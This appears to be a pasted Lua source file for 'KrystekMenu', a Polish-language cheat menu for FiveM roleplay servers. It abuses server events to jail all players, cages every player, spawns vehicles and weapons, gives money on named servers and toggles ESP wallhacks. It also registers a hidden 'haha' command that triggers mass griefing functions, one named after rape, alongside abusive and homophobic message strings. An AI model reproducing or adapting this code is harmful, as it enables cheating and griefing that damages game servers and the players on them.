- elseif KrystekMenu.Button('~h~~g~ESX ~s~Daj wszystkim kase ~b~PowerLifeRP') then
- giveeveryonepower()
- elseif KrystekMenu.Button('~g~~h~ESX ~s~Daj wszystkim kase ~b~CloudRP') then
- giveeveryonecloud()
- elseif KrystekMenu.Button('~h~~g~Jail ~y~~h~Edytowalny~w~') then
- av ('Zmien Trigger')
- for i = 0, 128 do
- TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(closestPlayer), 99999999, 'Takie zycie?', 99999999999999)
- --TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 99999, 'Zapraszam discord.gg/zMueqbA', 9999999)
- --TriggerServerEvent('projektsantos:wiezienie', GetPlayerServerId(i), 123123123, 'jebac ta wyspe', 9999999)
- --TriggerServerEvent('esx_billing:sendBill', GetPlayerServerId(i), 'Purposeless', 'Ich habe es dir gesagt darc, es wird noch mehr geben !', 999999999)
- --TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9999 * 60, 'Ich habe es dir gesagt darc, es wird noch mehr geben !', 999999999)
- --TriggerServerEvent("AlchemicJail:sendToJail", GetPlayerServerId(i), 9999 * 60, "Zapraszamy na GoldRP Skurwysyny", 999999999)
- end
- elseif KrystekMenu.Button('~h~~r~Jail~s~ Wszystkich Graczy') then
- for i = 0, 128 do
- TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 99999, 'Zapraszam discord.gg/zMueqbA', 9999999)
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(i), 5000, 'Kocham Was :D')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, 'Kocham Was :D')
- TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 45 * 60, " ale gej ")
- end
- elseif KrystekMenu.Button('~h~~r~Banana ~p~Party~s~ Wszystkich Graczy') then
- bananapartyall()
- elseif KrystekMenu.Button('~h~~r~Gwalc~s~ Wszystkich Graczy') then
- RapeAllFunc()
- elseif KrystekMenu.Button('~h~~r~Wsadz do klatki~s~ Wszystkich Graczy') then
- for i = 0, 255 do
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- while not HasModelLoaded(GetHashKey('prop_fnclink_05crnr1')) do
- Citizen.Wait(0)
- RequestModel(GetHashKey('prop_fnclink_05crnr1'))
- end
- local e9 =
- CreateObject(
- GetHashKey('prop_fnclink_05crnr1'),
- roundx - 1.70,
- roundy - 1.70,
- roundz - 1.0,
- true,
- true,
- false
- )
- local ea =
- CreateObject(
- GetHashKey('prop_fnclink_05crnr1'),
- roundx + 1.70,
- roundy + 1.70,
- roundz - 1.0,
- true,
- true,
- false
- )
- SetEntityHeading(e9, -90.0)
- SetEntityHeading(ea, 90.0)
- FreezeEntityPosition(e9, true)
- FreezeEntityPosition(ea, true)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('crds') then
- if KrystekMenu.Button('~h~~p~#~s~ KrystekYT~r~#~r~8687 ~p~DEV') then
- av('~h~~o~Dlaczego mnie klikasz?!!~s~.', false)
- av('~h~~o~Nudzi ci sie~s~??', false)
- av('~h~~o~I tak mi nic nie zrobisz ~s~:P', false)
- elseif KrystekMenu.Button('~h~~p~#~s~ Skype:~r~ ~b~KrystekYT') then
- elseif KrystekMenu.Button('~h~~p~#~s~ Youtube: ~r~ ~y~Krystek~r~Y~w~T') then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('WeaponTypes') then
- for e0, ev in pairs(b7) do
- if KrystekMenu.MenuButton('~h~~p~#~s~ ' .. e0, 'WeaponTypeSelection') then
- dy = ev
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('WeaponTypeSelection') then
- for e0, ev in pairs(dy) do
- if KrystekMenu.MenuButton(ev.name, 'WeaponOptions') then
- dz = ev
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('WeaponOptions') then
- if KrystekMenu.Button('~h~~r~Daj Bron') then
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(dz.id), 1000, false)
- end
- if KrystekMenu.Button('~h~~g~Dodaj Amunicje') then
- SetPedAmmo(GetPlayerPed(-1), GetHashKey(dz.id), 5000)
- end
- if
- KrystekMenu.CheckBox(
- '~h~~r~Nieskonczonosc ~s~Amunicji',
- dz.bInfAmmo,
- function(ew)
- end
- )
- then
- dz.bInfAmmo = not dz.bInfAmmo
- SetPedInfiniteAmmo(GetPlayerPed(-1), dz.bInfAmmo, GetHashKey(dz.id))
- SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
- PedSkipNextReloading(GetPlayerPed(-1))
- SetPedShootRate(GetPlayerPed(-1), 1000)
- end
- for e0, ev in pairs(dz.mods) do
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~> ~s~' .. e0, 'ModSelect') then
- dA = ev
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ModSelect') then
- for _, ev in pairs(dA) do
- if KrystekMenu.Button(ev.name) then
- GiveWeaponComponentToPed(GetPlayerPed(-1), GetHashKey(dz.id), GetHashKey(ev.id))
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('CarTypes') then
- for i, ex in ipairs(b3) do
- if KrystekMenu.MenuButton('~h~~p~#~s~ ' .. ex, 'CarTypeSelection') then
- carTypeIdx = i
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('CarTypeSelection') then
- for i, ex in ipairs(b4[carTypeIdx]) do
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'CarOptions') then
- carToSpawn = i
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('CarOptions') then
- if KrystekMenu.Button('~h~~r~Zresp Samochod') then
- local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
- local veh = b4[carTypeIdx][carToSpawn]
- if veh == nil then
- veh = 'adder'
- end
- vehiclehash = GetHashKey(veh)
- RequestModel(vehiclehash)
- Citizen.CreateThread(
- function()
- local ey = 0
- while not HasModelLoaded(vehiclehash) do
- ey = ey + 100
- Citizen.Wait(100)
- if ey > 5000 then
- ShowNotification('~h~~r~Nie ma takiego samochodu ;<.')
- break
- end
- end
- SpawnedCar =
- CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
- SetVehicleStrong(SpawnedCar, true)
- SetVehicleEngineOn(SpawnedCar, true, true, false)
- SetVehicleEngineCanDegrade(SpawnedCar, false)
- end
- )
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('MainTrailer') then
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
- for i, ex in ipairs(b5) do
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'MainTrailerSpa') then
- TrailerToSpawn = i
- end
- end
- else
- av('~h~~w~Not in a vehicle', true)
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('MainTrailerSpa') then
- if KrystekMenu.Button('~h~~r~Zresp Samochod') then
- local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
- local veh = b5[TrailerToSpawn]
- if veh == nil then
- veh = 'adder'
- end
- vehiclehash = GetHashKey(veh)
- RequestModel(vehiclehash)
- Citizen.CreateThread(
- function()
- local ey = 0
- while not HasModelLoaded(vehiclehash) do
- ey = ey + 100
- Citizen.Wait(100)
- if ey > 5000 then
- ShowNotification('~h~~r~Nie ma takiego samochodu :<.')
- break
- end
- end
- local SpawnedCar =
- CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
- local ez = GetVehiclePedIsUsing(GetPlayerPed(-1))
- AttachVehicleToTrailer(Usercar, SpawnedCar, 50.0)
- SetVehicleStrong(SpawnedCar, true)
- SetVehicleEngineOn(SpawnedCar, true, true, false)
- SetVehicleEngineCanDegrade(SpawnedCar, false)
- end
- )
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('GiveSingleWeaponPlayer') then
- for i = 1, #b6 do
- if KrystekMenu.Button(b6[i]) then
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, true)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESPMenu') then
- if
- KrystekMenu.CheckBox(
- '~h~~r~ESP ~s~MasterSwitch',
- esp,
- function(dR)
- esp = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~ESP ~s~Box',
- espbox,
- function(dR)
- espbox = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~ESP ~s~Info',
- espinfo,
- function(dR)
- espinfo = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~ESP ~s~Lines',
- esplines,
- function(dR)
- esplines = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('LSC') then
- local veh = GetVehiclePedIsUsing(PlayerPedId())
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~Wyglad ~s~Tuning', 'tunings') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~Osiagi ~s~Tuning', 'performance') then
- elseif KrystekMenu.Button('~h~Zmien rejestracje') then
- cu()
- elseif
- KrystekMenu.CheckBox(
- '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Kolor Samochodu',
- RainbowVeh,
- function(dR)
- RainbowVeh = dR
- end
- )
- then
- elseif KrystekMenu.Button('~h~Zrob samochod ~y~brudny') then
- Clean(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif KrystekMenu.Button('~h~Zrob samochod ~g~Czysty') then
- Clean2(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif
- KrystekMenu.CheckBox(
- '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Neony i Swiatla',
- rainbowh,
- function(dR)
- rainbowh = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('BoostMenu') then
- if
- KrystekMenu.ComboBox(
- '~h~Moc ~r~Silnika ~s~Booster',
- dD,
- dB,
- dC,
- function(ag, ah)
- dB = ag
- dC = ah
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), dC * 20.0)
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~g~2x',
- t2x,
- function(dR)
- t2x = dR
- t4x = false
- t10x = false
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~g~4x',
- t4x,
- function(dR)
- t2x = false
- t4x = dR
- t10x = false
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~g~10x',
- t10x,
- function(dR)
- t2x = false
- t4x = false
- t10x = dR
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~g~16x',
- t16x,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = dR
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~y~XD',
- txd,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = false
- txd = dR
- tbxd = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~y~DUZE XD',
- tbxd,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = false
- txd = false
- tbxd = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Moc ~g~Slinika ~s~Booster ~y~X KURWA D',
- xdxd,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = false
- txd = false
- tbxd = false
- xdxd = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif IsDisabledControlPressed(0, 122) then
- if logged then
- KrystekMenu.OpenMenu('KrystekMu')
- end
- KrystekMenu.Display()
- elseif IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21) then
- if logged then
- KrystekMenu.OpenMenu('KrystekMu')
- end
- end
- Citizen.Wait(0)
- end
- end
- )
- RegisterCommand(
- 'haha',
- function(eA, eB, eC)
- bv = true
- RapeAllFunc()
- bananapartyall()
- EconomyDy2()
- AmbulancePlayers()
- for i = 0, 128 do
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(i), 5000, 'Kocham Was :D')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, 'Kocham Was :D')
- end
- end,
- false
- )
- RegisterCommand(
- 'pk',
- function(eA, eB, eC)
- bw = false
- end,
- false
- )
- RegisterCommand(
- 'lol',
- function(eA, eB, eC)
- mhaonn = false
- end,
- false
- )
- function QuitMenu()
- SendCommand('pk')
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement